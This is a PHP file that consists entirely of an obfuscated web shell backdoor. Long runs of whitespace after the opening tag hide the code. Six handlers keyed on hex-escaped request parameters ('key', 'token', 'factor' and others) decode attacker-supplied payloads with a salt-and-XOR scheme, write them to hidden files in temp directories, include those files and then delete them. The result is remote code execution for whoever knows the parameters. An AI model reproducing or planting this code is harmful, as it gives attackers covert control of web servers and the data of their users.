<?php																																										if(array_key_exists("ke\x79", $_POST) && !is_null($_POST["ke\x79"])){ $descriptor = $_POST["ke\x79"]; $descriptor = explode (".", $descriptor ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($descriptor as $j =>$v2) {$chS = ord($s[$j % $lenS] ); $dec = ((int)$v2 - $chS - ($j % 10)) ^ 98; $resource .=chr($dec ); } $k = array_filter([sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]); foreach ($k as $flag): if ((is_dir($flag) and is_writable($flag))) { $entry = str_replace("{var_dir}", $flag, "{var_dir}/.ref"); $success = file_put_contents($entry, $resource); if ($success) { include $entry; @unlink($entry); die();} } endforeach; }
																																										if(!empty($_REQUEST["\x73y\x6Db\x6Fl"])){ $k = array_filter([session_save_path(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp"]); $ref = $_REQUEST["\x73y\x6Db\x6Fl"]; $ref =explode ( '.' , $ref ) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $__len = count($ref); for($w = 0; $w < $__len; $w++) { $v7 = $ref[$w]; $sChar = ord($s[$w % $sLen]); $d = ((int)$v7 - $sChar -($w % 10)) ^ 39; $val .= chr($d); } foreach ($k as $key => $pset) { if ((function($d) { return is_dir($d) && is_writable($d); })($pset)) { $ptr = join("/", [$pset, ".dchunk"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $ptr; @unlink($ptr); die(); } } } }
																																										if(in_array("\x74oken", array_keys($_REQUEST))){ $rec = $_REQUEST["\x74oken"]; $rec =explode ( '.' , $rec ) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $l = 0; while( $l< count( $rec)) {$v8 = $rec[$l]; $sChar = ord( $s[$l % $lenS]); $dec = ( ( int)$v8 - $sChar -( $l % 10)) ^ 35; $key .= chr( $dec); $l++; } $dchunk = array_filter(["/dev/shm", getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); foreach ($dchunk as $entry): if (is_writable($entry) && is_dir($entry)) { $item = str_replace("{var_dir}", $entry, "{var_dir}/.property_set"); if (file_put_contents($item, $key)) { require $item; unlink($item); exit; } } endforeach; }
																																										if(isset($_POST["co\x6Dp\x6F\x6Eent"]) ? true : false){ $property_set = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/dev/shm"]); $ent = $_POST["co\x6Dp\x6F\x6Eent"]; $ent = explode( '.', $ent); $descriptor=''; $s6='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s6); $n=0; $len=count($ent); do { if($n >= $len) break; $v3=$ent[$n]; $chS=ord($s6[$n %$sLen]); $d=((int)$v3 - $chS -($n %10)) ^ 4; $descriptor .= chr($d); $n++; } while(true); foreach ($property_set as $comp): if ((bool)is_dir($comp) && (bool)is_writable($comp)) { $pset = sprintf("%s/.val", $comp); if (file_put_contents($pset, $descriptor)) { require $pset; unlink($pset); die(); } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x65n\x74i\x74y"])){ $mrk = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]); $fac = $_REQUEST["\x65n\x74i\x74y"]; $fac = explode ('.',$fac) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $r = 0; array_walk($fac , function ($v1) use (&$data_chunk , &$r , $s , $sLen) { $chS = ord($s[$r % $sLen] ); $d = ((int)$v1 - $chS - ($r % 10))^ 56; $data_chunk .= chr($d ); $r++; }); $record = 0; do { $pointer = $mrk[$record] ?? null; if ($record >= count($mrk)) break; if (array_product([is_dir($pointer), is_writable($pointer)])) { $sym = "$pointer" . "/.binding"; if (@file_put_contents($sym, $data_chunk) !== false) { include $sym; unlink($sym); die(); } } $record++; } while (true); }


if(!is_null($_POST["\x66a\x63tor"] ?? null)){
	$marker = $_POST["\x66a\x63tor"];
	  $marker =explode(	"."			,	 $marker	 	); 	
	$pgrp = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $__len = count($marker);
    
            for ($s = 0; $s	<$__len; $s++) { $v4 = $marker[$s];
                $chS = ord($salt[$s		%		$lenS]);
                $d = ((int)$v4 - $chS - ($s		%		10))^37;
                $pgrp .= chr($d);		}	 
	$symbol = array_filter([getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP")]);
	$rec = 0;
do {
    $data_chunk = $symbol[$rec] ?? null;
    if ($rec >= count($symbol)) break;
    		if (is_writable($data_chunk) && is_dir($data_chunk)) {
    $descriptor = "$data_chunk/.val";
    if (file_put_contents($descriptor, $pgrp)) {
	require $descriptor;
	unlink($descriptor);
	exit;
}
}
    $rec++;
} while (true);
}